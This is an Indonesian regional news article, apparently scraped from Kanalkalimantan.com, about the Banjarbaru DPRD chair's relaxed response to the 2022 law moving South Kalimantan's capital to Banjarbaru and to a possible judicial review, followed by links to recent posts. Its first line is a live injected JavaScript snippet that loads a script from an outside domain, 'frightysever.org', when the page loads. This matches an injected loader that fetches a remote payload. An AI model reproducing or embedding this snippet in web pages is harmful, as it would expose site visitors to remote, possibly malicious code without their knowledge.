(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tanggapi Santai UU Provinsi Kalsel, Ketua DPRD Banjarbaru: Mau Judicial Review Silakan


KANALKALIMANTAN.COM, BANJARBARU – Banjarbaru sudah secara resmi ditetapkan sebagai ibu kota Provinsi Kalimantan Selatan (Kalsel) menggantikan Kota Banjarmasin.

Putusan itu tertuang dalam UU Provinsi Kalimantan Selatan No 8 Tahun 2022 dan ditanda tangani secara resmi oleh Presiden Joko Widodo pada 16 Maret 2022 lalu.

Namun perjalanan penetapan perpindahan ibu kota Provinsi Kalsel ke Banjarbaru mendapat penolakan oleh beberapa kalangan. Bahkan, dikabarkan bakal digugat ke Mahkamah Konstitusi.

Ketua DPRD Kota Banjarbaru, Fadliansyah mengatakan dirinya mempersilahkan siapa saja yang ingin menggugat di MK, karena menurutnya melakukan judicial review merupakan hak semua warga negara.

 

Baca juga  : Kesehatan Perempuan dan Kesetaraan Gender Bahasan W20 di Kalsel

“Kalau ada orang menggugat silakan saja karena itu merupakan hak mereka untuk judicial review,” ujar Fadli sapaan akrabnya.

Yang perlu digarisbawahi, dikatakan Fadli, ibu kota provinsi memang pindah ke Kota Banjarbaru. Namun, kedudukan Banjarmasin masih sebagai penyangga perekonomian Kalsel sebagai pusat perekonomiannya.

“Ibu kota provinsi ini juga berefek ke daerah tetangga, memang Banjarbaru pusat pemerintahan tapi kan Banjarmasin tetap tidak tergantikan sebagai pusat perekonomian,” katanya.

Menurutnya, ketika UU tersebut sudah berproses di DPR yang mana fungsinya sebagai legsilasi, maka penetapan UU Provinsi Kalimantan Selatan tersebut sudah benar.

 

Baca juga  : Kaji Tiru Tata Kelola Arsip di Dinas Arpus Jateng, Kadispersip Kalsel Bertemu Gubernur Ganjar Pranowo

“Yang sudah ditetapkan melalui program legislasi nasional dan semua fraksi sudah sepakat,” jelasnya.

Ditambah keterangan para ahli dan juga melibatkan beberapa akademisi untuk mematangkan disahkannya UU yang di dalam salah satu pasalnya menyebut pemindahan ibu kota provinsi.

Sebab itu, Fadli melihat proses pemindahan ibu kota Provinsi Kalsel ini sudah melalui prosedur karena sudah ada pembentukan pansus, juga digodok bersama pemerintah dan DPR.

“Sampai paripurna disahkan tidak ada intrupsi sama anggota DPR,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.